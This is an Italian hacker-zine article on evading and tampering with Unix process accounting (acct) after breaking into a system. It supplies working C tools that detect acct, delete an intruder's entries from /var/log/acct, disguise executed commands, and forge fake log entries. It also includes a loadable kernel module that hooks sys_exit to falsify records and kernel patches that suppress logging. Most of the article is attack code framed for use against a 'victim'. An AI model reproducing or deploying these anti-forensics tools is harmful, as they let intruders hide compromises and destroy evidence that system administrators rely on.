==============================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--------------------[ previous ]---[ index ]---[ next ]---------------------

-----------------------------------[ ACCT ]-----------------------------------
--------------------------------[ bELFaghor ]---------------------------------
/*
	#include <sys/disclaimer.h>
	Questo articolo e' il risultato di un breve scambio epistolare
	avvenuto tra me e FuSyS. I 'meriti' di questo articolo volano
	pertanto anche a lui, che mi ha particolarmente incoraggiato nella
	scrittura di queste righe. A tale merito non dimentichiamo anche
	fratello SMaster.
	Si ricorda inoltre che l'articolo e' stato scritto a fini
	informativi ed educativi. Utilizzate le informazioni contenute
	come meglio credete. Nessuno di noi e' responsabile delle
	vostre azioni.
*/

In rima a tutti. Ancora una volta torniamo a parlare di LOG, ma questa volta
toccheremo un argomento preso con le pinze da molti: ACCT. E come diceva
FuSyS nell'articolo sui log in BFi2, "Questa puo' essere una brutta bestia".
Vediamo di fargli vedere chi e' il piu' cattivo eheh.
Per prima cosa, dove troviamo acct ? Beh acct e' un pacchetto a se' stante
quindi potrebbe essere presente su qualunque sistema operativo unix like;
posso dirvi pero' che lo troviamo in tutti i *BSD (l'ho trovato su
NetBSD 1.3, FreeBSD 2.2.8 e OpenBSD 2.4) e probabilmente anche in tutte le
distribuzioni di Linux (spesso non come pacchetto di default), ma non lo
troviamo di serie nei SunOS 4.x e 5.x. Percio' sempre in guardia :)
Questa brutta bestia logga, nel file specificato come argomento, tutti i
comandi lanciati dagli utenti, siano essi utenti normali o root (solitamente
il file in questione e' /var/log/pacct o /var/log/acct o percorsi simili -
nella Debian 2.0r3 e' /var/account/pacct).
Pecca di questo sistema di logging e' il fatto che viene loggato solamente
l'argv[0] e non gli argomenti/parametri passati: e per noi e' una
buona cosa :) eheh Il file contenente i log e' un file binario e per accedervi
abbiamo bisogno di leggere/scrivere da una struct che lo rappresenta. Definita
in acct.h, figura come segue:
	
struct acct
{
        char    ac_comm[ACCT_COMM];     /* Accounting command name */
        time_t  ac_utime;               /* Accounting user time */
        time_t  ac_stime;               /* Accounting system time */
        time_t  ac_etime;               /* Accounting elapsed time */
        time_t  ac_btime;               /* Beginning time */
        uid_t   ac_uid;                 /* Accounting user ID */
        gid_t   ac_gid;                 /* Accounting group ID */
        dev_t   ac_tty;                 /* controlling tty */
        char    ac_flag;                /* Accounting flag */
        long    ac_minflt;              /* Accounting minor pagefaults */
        long    ac_majflt;              /* Accounting major pagefaults */
        long    ac_exitcode;            /* Accounting process exitcode */
};

I commenti mi sembrano di una chiarezza solare enucleando limpidamente il
contenuto dei campi. Forse puo' apparire un po' oscuro il contenuto
di ac_flag...
Chiariamolo :) ... Viene, infatti, definito anch'esso in acct.h e appare come
segue:

	#define AFORK   0001    /* has executed fork, but no exec */
	#define ASU     0002    /* used super-user privileges */
	#define ACORE   0004    /* dumped core */
	#define AXSIG   0010    /* killed by a signal */

E direi che i commenti per ora sono esaustivi :) quindi possiamo
passare avanti...
Premettiamo che sia paranoico, quindi, per andare sul sicuro, anche se abbiamo
spulciato tutto l'hard disk della nostra carissima vittima senza aver trovato
nulla, mi assicurerei dell'assenza del pacchetto acct, attivo magari in una
qualche zona occultata, con questo breve codice (sempre che il sysadm non si
sia gia' prevenuto):

---------- snip ----------
/* stupid acct knocker */

#include <stdio.h>
#include <unistd.h>
#include <sys/acct.h>

#define BLAME_PATH "blame_it_on_god"

void main() {
        acct(BLAME_PATH);
        perror("acct");
}
---------- snip ----------

OK, che otteniamo? It's simple :) Se una volta lanciato, otterremo:
"acct: No such file or directory" allora vorra' dire che acct non sta girando
poiche' il nostro acct() ha tentato di attivarlo, ma senza riuscirci perche'
il file 'blame' non esiste (!), mentre se avremo:
"acct: Device or resource busy" allora vorra' dire che acct sta girando e
loggando da qualche parte...
Brutta cosa per noi :/ dovremo scovarlo... mmm volete un'idea?
Provate a cercare file come 'lastcomm, dumpacct, sa, acctentries' or something
like that e poi fargli un bel 'strings'; probabilmente troverete il percorso
del file in cui vanno a finirie i log :))
Ma parliamo di acct() dato che ve l'ho gia' quasi presentata ;) La funzione e'
presente in unistd.h - extern int acct __P ((__const char *__name)); - e
vuole come argomento una char che rappresenta il file in cui INIZIARE
a loggare; se lo poniamo a NULL acct termina di loggare. Nota che il file deve
esistere per iniziare a loggare, altrimenti tornera' un bel "no such file",
e nel caso in cui la dimensione del file e' diversa da 0 acct riprendera' a
loggare dal punto in cui aveva terminato.
Come valore di ritorno abbiamo, infine, un valore < 0 se la funzione non e'
andata a buon fine, con l'errore posto in errno, altrimenti 0.
Tale funzione viene, infatti, chiamata dal programma 'accton' per attivare o
terminare il logging (puo' non essere sempre questo il programma da lanciare,
ad esempio in SVr4 tale programma e' sostituito da /usr/lib/acct/startup).

OK. Ora qualcuno potrebbe pensare: perche' non nascoderci con una memset() dei
campi che ci interessano? ...Semplice :) proprio perche' non e' cosi' semplice
:) Criptico ma ci siamo capiti eheh. Vediamo, infatti, nei prg che troviamo
in "dotazione" nel pacchetto, del codice che non ci piace affatto...
In dumpacct.c troviamo (e in acctentries.c qualcosa di simile):

     fprintf (stdout, "%-*.*s %5d %5hd %5hd %5d %5ld %5.2f %5.2f %.19s\n",
              ((int) sizeof (ac->ac_comm)),
              ((int) sizeof (ac->ac_comm)), ac->ac_comm,
              ac->ac_tty, ac->ac_uid, ac-> ac_gid,
              (int) ac->ac_flag, ac->ac_exitcode,
              (double) ac->ac_utime / (double) AHZ,
              (double) ac->ac_stime / (double) AHZ,
              ctime(&ac->ac_btime));

Quindi, qualsiasi sia il contenuto dei campi, sia esso NULL o 0, viene sempre
e comunque stampato... :) Ovvero come farsi sgamare al primo colpo :)
Cosi' non va...
Allo stesso modo in lastcomm.c, altro prg in "dotazione" nel pacchetto,
troviamo:

         if (acp->ac_comm[0] == '\0')
            (void)strcpy(acp->ac_comm, "?");

            if (!isascii(*cp) || iscntrl(*cp))
               *cp = '?';

Con queste quattro righe, ci frega nuovamente: infatti, se ac_comm e' NULL
o e' un carattere di controllo oppure non e' un carattere ASCII, al campo
ac_comm (contente il comando passato in shell) verra' assegnato un '?';
niente di piu' sgamabile. Siamo proprio fuori strada :/

Ma ci deve essere una soluzione... noi siamo i piu' cattivi :) Beh io,
per iniziare, la metterei in questi termini (vedi codice); in seguito vedremo
i problemi che si creano e come risolverli o evitarli.

---------- snip ----------
/*
   Xytaxehedron v0.1
   "The Xytaxehedron held to the stars... the incantation uttered with eager
   tongues... (What long-shackled powers of the elder dark have our conjurings
   loosed?)"
   Startfire burning upon the ice-veiled throne of ultima thule, Bal Sagoth.
   coded by bELFaghor
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/acct.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pwd.h>

#define ACF "/var/log/acct"

void main(int argc, char *argv[]) {
        int fdin, fdout;
        struct acct akt;
        struct passwd *p;

        if(argc != 2) {
                printf("ERR. syntax:\t%s <user>.\n", argv[0]);
                exit(1);
                }

        if((p = getpwnam(argv[1])) == NULL) {
                perror("getpwnam");
                exit(2);
                }

        if((fdin = open(ACF, O_RDONLY)) < 0) {
                perror("open acct");
                exit(3);
                }

        if((fdout = open("fackt.tmp", O_WRONLY|O_CREAT|O_TRUNC, S_IRUSR|S_IWUSR)) < 0) {
                perror("open fackt.tmp");
                exit(4);
        }

        while(read(fdin, &akt, sizeof(struct acct)) > 0) {
                if(akt.ac_uid != p->pw_uid) {
                        write(fdout, &akt, sizeof(struct acct));
                        }
        }
        close(fdin);
        close(fdout);

        system("/bin/mv fackt.tmp /var/log/acct");
        system("/bin/chmod 600 /var/log/acct");
        printf("puff.\n");
}
---------- snip ----------

Bello no? :)) L'abbiamo fottuto alla grande eheh.
Il codice come sempre mi sembra chiaro :) (beh direte... se non e' chiaro
a te a chi dev'essere chiaro?!? ahahah avete ragione :P) Dai, con un man
delle funzioni che non conoscete potete arrivarci :) In pratica cancelliamo
TUTTE le entries in un determinato user. E qui arrivano le grane.
Vediamo quali sono e come risolverle...
Per prima cosa, come abbiamo detto, cancelliamo TUTTE le entries dell'user...
e questo e' un male... dobbiamo cancellare SOLO le NOSTRE entries,
non le altre :) desteremmo troppi sospetti altrimenti...
Vediamo quindi i problemi che sorgono:

	1. blocchiamo il funzionamento di acct
	2. tutte le entries relative all'user vengono cancellate
	3. riduciamo la dimensioni del file

Punto 1 :) bisogna riavviare l'acct... quindi come spero avrete capito... alla
fine del nostro codice ci mettiamo un bel:

	        if (acct(NULL)) {
	                perror("acct NULL");
	                exit(1);
	        }
		if((acct(ACF)) < 0) {
			perror("acct ACF");
			exit(1);
			}

Ricordiamoci: prima dobbiamo disattivarlo per poi potere riattivarlo... :)
Ma un altro problema ci rogna :/ avremo una nuova entry, ovvero quella
dell'acct che e' stato riavviato, che visualizza il nome del nostro
programma...
Dobbiamo nasconderlo... :) aggiungiamo una strncpy() all'inizio del codice:
		
		strncpy(argv[0], "ls", 2);

Sistemato :)
Infatti non ci sono restrizioni per cambiare l'argv[0] :) chiunque puo' farlo
ahah e quindi perche' non sfruttarlo ? :) Ricordatevi di non mettere un
carattere nullo, altrimenti salterebbe tutto :)
OK. La nostra entry apparira' circa cosi':

*Comando*  *Flag* *User*   *TTY*		**** TIME ****
ls           S     root     tty2       60   0.01 secs Tue Feb D HH:MM:SS

Non male... Ma se il root non e' loggato??! Beh ci sara' quest'entry in piu'
che potrebbe destare qualche sospetto :/ quindi, speriamo bene :)
anche perche' non vedo il modo di ovviare a tale problema... se non
intervenendo a livello di codice del kernel alterando il funzionamento della
acct() oppure a livello di lkm :)

Veniamo al punto 2: tutte le entries relative all'user vengono cancellate.
Non mi sembra per niente una buona idea... almeno che non vogliamo essere
sgamati...
Come fare? Possiamo provare a togliere N log dall'ultimo relativi al nostro
utente... ma in un sistema con diverse centinaia di utenti, dove magari
il nostro utente e' loggato insieme a noi, sarebbe ben difficile riuscire a
togliere quelli giusti... Un'alternativa che ricade pero' nello stesso
impedimento e' quella di togliere i log in base a un determinato
tempo/orario... oppure oppure togliere determinati comandi... La vedrei come
una buona soluzione se pensiamo magari di implementare anche un block del
logging... ma appunto BUONA, non ottimale...
Infatti se facciamo girare un block a livello di software indipendente dal
kernel, questo ci blocchera' tutte le entries... e il root potrebbe
accorgersi che da un certo orario non ci sono stati log sebbene degli utenti
fossero loggati nel sistema... Una questione dubbia :) ...
Nel man di acct troviamo:
"NOTES
       No  accounting  is  produced  for  programs running when a
       crash occurs.  In particular, nonterminating processes are
       never accounted for."
No, non abbiamo risolto. Perche' o facciamo crashare il sistema operativo ogni
volta che lanciamo un programma prima che abbia terminato oppure non facciamo
terminare nessuno dei comandi che abbiamo lanciato: due assurdita'.
Non pensate nemmeno a mandare un SIGABRT ai nostri programmi cattivi perche'
ci sono le flag che ci fottono: l'entry viene cioe' ugualmente aggiunta e le
vengono aggiunte le flag 0004 e 0010, ovvero 'dumped core' e
'killed by signal'...
Beh che dirvi :) io una soluzione l'avrei... eheh sappiamo che acct logga
il nostro comando, ma non i suoi argomenti... inizialmente pensai che
scrivendo un breve codice che lanciasse il programma che volevo, potessi in
tal modo eludere il logging... Cioe' come abbiamo visto prima, facendo una
strcpy(argv[0], "ls");, faccio poi eseguire al mio codice il comando che
voglio e cosi' sono mascherato...
Soltanto che acct e' piu' furbo di noi... logga sia il codice che esegue il
programma che il programma stesso (quello chiamato dalla system())... quindi
se il mio programma si chiamasse PIPPO e lanciasse il programma PIPPA avrei
un log del genere...

pippa        S     root     tty2       60   0.01 secs Tue Feb D HH:MM:SS
pippo        S     root     tty2       60   0.01 secs Tue Feb D HH:MM:SS

(questo e' un output lastcomm like :) ma nel file di log le entry sono messe
in maniera opposta :)
In tal modo sembrerebbe che non ci siamo proprio :) ma non e' cosi'... Noi non
sappiamo gestire acct perche' e' troppo variabile :) Beh cosi' una "costante",
un punto di riferimento, l'abbiamo... ovvero il nostro PIPPO. Penso abbiate
gia' capito :) Il tutto sta nel lanciare i comandi attraverso il nostro 
"interprete" PIPPO e poi cancellare i log con una versione IMPROVED :) di
Xytaxehedron :)
Dai arriviamo al codice :) premetto che e' possibile scriverlo in diversi
modi... fork() e exec*() oppure popen() o anche system() :)
Vedete voi ;) 

---------- snip ----------
/*
  hydra v0.1
  The Beuty in Darkness
  coded by bELFaghor
*/

#include <stdio.h>
#include <unistd.h>

void main(int argc, char *argv[]) {
        char buf[1024];
        FILE *f;

        if(argc!=2) {
                printf("syntax:\t%s <command>\n", argv[0]);
                exit(1);
                }
        if((f = popen(argv[1], "w")) < 0) {
                perror("popen");
                exit(1);
                }
        fflush(f);
        if((pclose(f) < 0) < 0) {
                perror("pclose");
                exit(1);
                }

}
---------- snip ----------

Questo codice esegue un comando che gli passate come argomento. Diciamo che
effettua solo dei controlli minimali per mantere minima la sua dimensione...
anzi se volete potreste anche togliere i costrutti if :)
Ah un consiglio :) metteci come al solito una strcpy() magari con un comando
verosimile, chesso' 'hostnames', in modo tale che, anche se non avete ancora
cancellato i vostri log, non diano nell'occhio :)
(o anche piu' semplicemente rinominate il vostro eseguibile ;)

Ora veniamo all'altro codice, la versione IMPROVED, ovvero il codice che
cancella le entry in cui in ac_comm compare HYDRA e la entry successiva,
ovvero quello che in teoria, dovrebbe essere il comando eseguito da HYDRA:
in teoria, perche' in un sistema in cui molti utenti sono loggati, POTREBBE
non essere la vostra l'entry successiva :/
Quindi modificheremo il codice di Xytaxehedron in tal modo:

#define KSTR "hydra"

        while(read(fdin, &akt, sizeof(struct acct)) > 0) {
                if(strcmp(akt.ac_comm, KSTR)) {
                        write(fdout, &akt, sizeof(struct acct));
                        lseek(fdin, sizeof(struct acct), SEEK_CUR);
                        }
        }

E siamo CIRCA a posto :)
Per finire ecco il codice contente le sopra citate migliorie:

---------- snip ----------
/*
   Xytaxehedron v0.1i (IMPROVED)
   "The Xytaxehedron held to the stars... the incantation uttered with eager
   tongues... (What long-shackled powers of the elder dark have our conjurings
   loosed?)"
   Startfire burning upon the ice-veiled throne of ultima thule, Bal Sagoth.
   coded by bELFaghor
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/acct.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pwd.h>

#define ACF "/var/log/acct"
#define KSTR "hydra"
#define FN "ls"

void main(int argc, char *argv[]) {
        int fdin, fdout;
        struct acct akt;

	strcpy(argv[0], FN);

        if((fdin = open(ACF, O_RDONLY)) < 0) {
                perror("open acct");
                exit(3);
                }

        if((fdout = open("fackt.tmp", O_WRONLY|O_CREAT|O_TRUNC, S_IRUSR|S_IWUSR) {
               perror("open fackt.tmp");
                exit(4);
        }

        while(read(fdin, &akt, sizeof(struct acct)) > 0) {
                if(strcmp(akt.ac_comm, KSTR)) {
                        write(fdout, &akt, sizeof(struct acct));
                        lseek(fdin, sizeof(struct acct), SEEK_CUR);
                        }
        }

        close(fdin);
        close(fdout);

        system("/bin/mv fackt.tmp /var/log/acct");
        system("/bin/chmod 600 /var/log/acct");
        printf("puff.\n");

	if (acct(NULL)) {
	        perror("acct NULL");
                exit(1);
        }
        if((acct(ACF)) < 0) {
                perror("acct ACF");
                exit(1);
        }

}
---------- snip ----------

Come avrete spero visto e' stato rimosso il controllo dell'username; in tal
modo cancelleremo tutte le 'nostre entry cattive' indifferentemente dall'user
che le ha generate :) cosicche' se vogliamo utilizzare HYDRA anche da non
root siamo liberi di farlo senza poi utilizzare due o piu' volte
Xytaxehedron ;) cmq se volete reimplementarlo, a voi :)

ACCT e' una gran brutta bestia, ma noi siamo peggio ;)

Ora per i piu' cattivi e vendicativi :) ma anche per i piu' giocherelloni :)
vediamo anche di scrivere del codice per modificare le entry e fare
impazzire il root :)
Questa volta senza scrivere e riscrivere il codice piu' volte, vediamo prima
la parte 'teorica' e poi implementiamo il tutto :) Infatti la parte teorica,
come d'altro canto anche la parte piu' strettamente 'pratica', e' abbastanza
semplice e limitata :) Infatti, partiamo dalla considerazione teorica che in
un sistema di logging come acct, in cui le entries sono davvero tante e
complesse, anziche' andare a modificare le entry tanto vale aggiungerne :)
Eheh gia' fatto...
Passiamo quindi alla parte pratica: il codice :)

---------- snip ----------
/*
   Leipzig v0.1
   This is a tribute to Dead, died by his own hands in April 1991.
   "Jag ar inte en manniska. Det har ar bara en drom, och snart vaknar jag.
    Det bar for kallt ech blodet lebrades hela tiden".
   coded by bELFaghor
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <acct.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pwd.h>

/* see acct.h */
#define TCOMM   "fuckyoug0d"
#define TUSER   "corpse"

#define ACT "/var/log/acct"

void main() {
        int fi;
        struct acct akt;
        struct passwd *p;

        if((fi = open(ACT, O_APPEND|O_WRONLY)) < 0) {
                perror("open");
                exit(1);
                }

        if((p = getpwnam(TUSER)) == NULL) {
                perror("getpwnam");
                exit(1);
                }


        memset(&akt, 0, sizeof(struct acct));
        strcpy(akt.ac_comm, TCOMM);
        akt.ac_uid = p->pw_uid;
        akt.ac_gid = p->pw_gid;
        akt.ac_flag = ACORE;
        akt.ac_exitcode = 1;
        akt.ac_minflt = 1+(int) (10.0*rand()/(RAND_MAX+1.0));
        akt.ac_majflt = 1+(int) (10.0*rand()/(RAND_MAX+1.0));
        akt.ac_tty = 1028;
        akt.ac_utime = akt.ac_btime;
        akt.ac_stime = akt.ac_btime;

        if((write(fi, &akt, sizeof(struct acct))) < 0) {
                        perror("write");
                        exit(1);
                        }

        if(close(fi) < 0) {
                perror("close");
                exit(1);
                }

        printf("done - %s written.\n", TCOMM);
}
---------- snip ----------

Con questo codice aggiungiamo un'entry al file di log (direte: perche' solo
una? Che poi, se vogliamo mettercene di piu', dobbiamo continuamente editare e
compilare il codice? Semplice :) perche' questo e' un codice d'esempio che
nella sua natura vuole mantenersi snello e non appesantirsi di una getopt()
che prende argomenti alla linea di comando :))
Ho tralasciato la parte che riavvia l'acct... fate come meglio credete :)
E state attenti alla flag (ac_flag :)... anche se non sembra, e' molto
significativa...
Vammi tu a spiegare perche' un utente normale che ha lanciato un semplice 'ls'
ha la flag ASU (used super-user privileges) settata. Eheh siamo perfidi ahah.
Infatti perche' non mettere la flag ACORE (dumped core) al comando 'sendmail'?
Ahah :) mooolto perfidi :) ...
Fate attenzione a lanciare anche questo programma con HYDRA cosicche' potrete
poi cancellare la nuova entry che vi creera' :)

Eheh lo so cosa state pensando :) il punto 3. Il punto 3 non me lo sono
dimenticato... eccolo :P - l'unico caso in cui i sistemi con molti utenti ci
sono d'aiuto :)) -
Ricordatevi, infatti, che se l'amministratore di sistema mantiene un controllo
sulle dimensioni del file di log, e si accorge che voi le state riducendo per
togliere i vostri log... beh siete fatti :) perche' i file di log possono solo
crescere, non diminuire :)) Anche se come dice Phreak Accident in PHRACK 43:

"Most sysadmins don't pay real attention to the process logs, since they
do tend to be rather large and grow fast.  However, if they notice that a
break-in has occurred, this is one of the primary places they will look for
further evidence."

E ancora un'ultima cosa :) come abbiamo visto, i sistemi nei quali acct e'
un po' ostico da gestire sono quelli con molti utenti... Beh c'e' da dire
pero' che difficilmente in tali sistemi l'acct logging serve a qualche cosa
per l'admin, sempre escludendo la clausola sopra citata da Phreak Accident :)

Ora vediamo come potremmo risolvere la cosa sfruttando, invece, il kernel di
Linux: quanto segue e' percio' inerente solo ad un hack in ambiente Linux
ed e' stato per voi testato solo sul Kernel 2.0.36... meditate ragazzi,
meditate :) .
Come abbiamo detto in precedenza, due sono le vie da percorrere: o sfruttare
un LKM, ovvero un Loadable Kernel Modules, oppure intaccare il kernel vero e
proprio a livello dei sorgenti. Vediamole.
Innanzitutto dobbiamo vedere come il kernel gestisce il logging: in
/usr/src/linux/kernel/sys.c troviamo la ormai famosa
int sys_acct(const char *name), ma, come dovreste sapere, questa non e' la
funzione che ci interessa. Infatti, molto piu' interessante e' 
int acct_process(long exitcode) che trovate poco piu' sopra e che gestisce il
logging vero e proprio; sfortunatamente non e' una system call che possiamo
modificare con un LKM, MA da qualche parte in una sys_call sara' pur
chiamata :) Infatti, se spulciate per benino, troverete che viene chiamata da
void do_exit(long code) in /usr/src/linux/kernel/exit.c che, sebbene non sia
una sys_call, viene chiamata a sua volta, poco piu' sotto, da
int sys_exit(int error_code) che e' una chiamata di sistema :) quindi
modificabile. Percio' non dobbiamo fare altro che alterare il funzionamento
della sys_exit e plasmare, per quello che ci viene concesso, i log.
Ecco il codice:

---------- snip ----------
/*
        Obscura Mens v0.1 - coded by bELFaghor - Thanks to FuSyS for idea
        "I wanna be a good boy", Ramones.

        . Compile it as following:
        gcc -O6 -Wall -DCONFIG_KERNELD -DMODULE -D__KERNEL__ -DLINUX -c obme.c

        . Insert and remove this module as following:
         insmod obme; rmmod obme
*/

#include <linux/kernel.h>
#include <linux/module.h>
#include <sys/syscall.h>
#include <linux/sched.h>

#define HCOMM   "xyta"
#define HUID    1000
#define HGID    100

extern void *sys_call_table[];

char *fhole[] = { "I", "wanna", "be", "a", "good", "boy" };
int i = 0;

asmlinkage int (*original_call) (long);

asmlinkage int our_sys_exit(long code)
{
        if(i > 5) { i = 0; }
        if(!(strcmp(current->comm, HCOMM))) {
                strcpy(current->comm, fhole[i++]);
                current->uid = HUID;
                current->gid = HGID;
                current->exit_code = 0;
                if((HUID != 0) && (current->flags & PF_SUPERPRIV)) {
                        current->flags ^= PF_SUPERPRIV;
                }
        return original_call(0);
        }
        return original_call(code);
}

int init_module()
{
        original_call = sys_call_table[SYS_exit];
        sys_call_table[SYS_exit] = our_sys_exit;
        return 0;
}

void cleanup_module()
{
        if(sys_call_table[SYS_exit] != our_sys_exit) {
                printk("shit something goes wrong :/\n");
                }
        sys_call_table[SYS_exit] = original_call;
}
---------- snip ----------

Questo codice, oltre ad essere uno spunto per svariate implementazioni, serve
a modificare l'entry generata da Xytaxehedron quando riavviava il logging
chiamando acct(), e piu' precisamente ogni volta che viene generato un log
con ac_comm == xyta , lo sostituira' con le informazioni che vorremo cosi'
da mascherarlo. L'array fhole contiene i campi che mano a mano sostituiranno
le varie entries, mentre HUID e HGID definiscono rispettivamente l'UID e
il GID che acquistera' la nuova entry mascherata: cambiateli con un utente
che e' loggato nel sistema, cosicche' sembri una sua entry, altrimenti
sarebbe ingiustificata. Allo stesso modo potreste implementare del
codice per mascherare insmod/rmmod, cioe' quando inserite e rimuovete il
modulo :)
E per darvi un'altra idea, e non prepararvi sempre la pappetta, perche' non
codare un LKM "intelligente" in grado di segliere che uid/gid settare in base
agli utenti loggati nel sistema cosi' da mascherare sempre meglio le nuove
entries?

Ora, invece, vediamo come potremmo modificare il codice sorgente del kernel;
premetto che quanto segue e' frutto della mia esperienza sul codice del
2.0.36 e NON posso quindi garantire che funzioni anche in altre versioni; ma
in linea di massima ci siamo.
Da dire e' anche che un alterazione del sistema di questo tipo e' molto
difficile da praticare in remoto e che e' quindi un'implementazione quasi
'only 4 phun' o per quanti possono 'attaccare' una macchina a cui hanno
accesso fisicamente :)
Beh, ora non ci sono molti problemi: possiamo toccare quello che vogliamo :)
Quindi modifichiamo direttamente la int acct_process(long exitcode) in
/usr/src/linux/kernel/sys.c ;) Ad esempio potremmo modificare la funzione come
segue:
                :
int acct_process(long exitcode)
{
   struct acct ac;
   unsigned short fs;

        /*      add this        */
   if(!(strcmp(current->comm, "hydra"))) {
                return 0;
                }
        /*      end add         */

                :
                :
In questo modo ogni qual volta comm sara' uguale a 'hydra' l'entry non sara'
generata. Oppure se avessimo un nostro acconto personale e legale potremmo
fare un check basato sull'UID del tipo:

        if(current->uid == 1000) {
                return 0;
                }

Se cioe' il nostro uid e' 1000, la fuzione ritornera' subito, cosi' da non
inserire alcuna entry. Ma non sarebbe giustificato il fatto che vi siano
dei log magari in utmp/wtmp/etc etc e non in acct. Beh, le soluzioni sono
molte :) ve ne presento una, semplice e concisa:

        if((current->uid == 1000) && (strlen(current->comm) == 18) {
                return 0;
                }

Potremmo cosi' rinominare i nostri file cattivi in modo tale che la loro
lunghezza sia di 18 (!?! eheh 6+6+6 :) caratteri e non saranno mai loggati :P
Poi fate come volete, ve l'ho detto, le soluzioni sono molteplici :)

Credo di avere finito :) Ora traete voi le conclusioni... ho voglia solo di
dire una cosa... IMHO, questo articolo e' un inno alla gestione ottimale
dei vari log per gli admin... admin con le palle non fate finta di non avere
capito quello a cui alludo, beh siete delle capre di sysadm... e se siete
smanettoni... a voi l'ardua sentenza :)))

ave atque vale.
                                .bELFaghor VampErotic Daem0n.

--------------------[ previous ]---[ index ]---[ next ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
==============================================================================